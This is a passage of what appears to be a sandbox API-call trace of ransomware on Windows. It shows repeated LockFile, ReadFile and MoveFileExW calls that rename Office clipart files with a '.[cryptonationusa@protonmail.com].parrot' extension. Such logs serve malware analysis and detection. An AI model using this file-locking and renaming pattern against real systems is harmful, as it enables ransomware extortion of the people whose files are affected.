(hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x56d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.598] CloseHandle (hObject=0x27c) returned 1 [0131.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.601] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc652, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.601] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.602] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc53a, lpOverlapped=0x0) returned 1 [0131.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.605] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc652, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.605] CloseHandle (hObject=0x27c) returned 1 [0131.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.609] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe17, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.609] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.609] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.610] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfcff, lpOverlapped=0x0) returned 1 [0131.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.615] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe17, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.615] CloseHandle (hObject=0x27c) returned 1 [0131.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.618] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xacc5, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.618] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.618] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.621] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xabad, lpOverlapped=0x0) returned 1 [0131.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.625] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xacc5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.625] CloseHandle (hObject=0x27c) returned 1 [0131.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.629] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4feb, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.629] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.630] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0131.632] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.633] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4feb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.633] CloseHandle (hObject=0x27c) returned 1 [0131.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.636] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.636] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.638] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27d0, lpOverlapped=0x0) returned 1 [0131.639] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.639] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.639] CloseHandle (hObject=0x27c) returned 1 [0131.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.643] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ffc, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0131.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.646] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ffc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.646] CloseHandle (hObject=0x27c) returned 1 [0131.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.651] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x234a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.651] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.653] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2232, lpOverlapped=0x0) returned 1 [0131.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.656] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x234a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.656] CloseHandle (hObject=0x27c) returned 1 [0131.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.659] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe4aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.662] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.662] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe392, lpOverlapped=0x0) returned 1 [0131.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.666] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe4aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.666] CloseHandle (hObject=0x27c) returned 1 [0131.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.669] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x922c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.669] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.671] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.671] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9114, lpOverlapped=0x0) returned 1 [0131.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.675] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x922c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.675] CloseHandle (hObject=0x27c) returned 1 [0131.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.679] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x195e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.679] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.680] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1846, lpOverlapped=0x0) returned 1 [0131.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.681] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x195e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.681] CloseHandle (hObject=0x27c) returned 1 [0131.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.687] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2728, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.687] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.687] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.689] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2610, lpOverlapped=0x0) returned 1 [0131.690] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.690] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2728, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.690] CloseHandle (hObject=0x27c) returned 1 [0131.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.693] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xad0, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.693] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.695] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.695] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b8, lpOverlapped=0x0) returned 1 [0131.695] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.696] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.696] CloseHandle (hObject=0x27c) returned 1 [0131.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.699] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1622, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.699] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.701] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x150a, lpOverlapped=0x0) returned 1 [0131.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.702] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1622, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.702] CloseHandle (hObject=0x27c) returned 1 [0131.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.705] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.705] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.705] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.707] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe16, lpOverlapped=0x0) returned 1 [0131.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.708] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.708] CloseHandle (hObject=0x27c) returned 1 [0131.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft 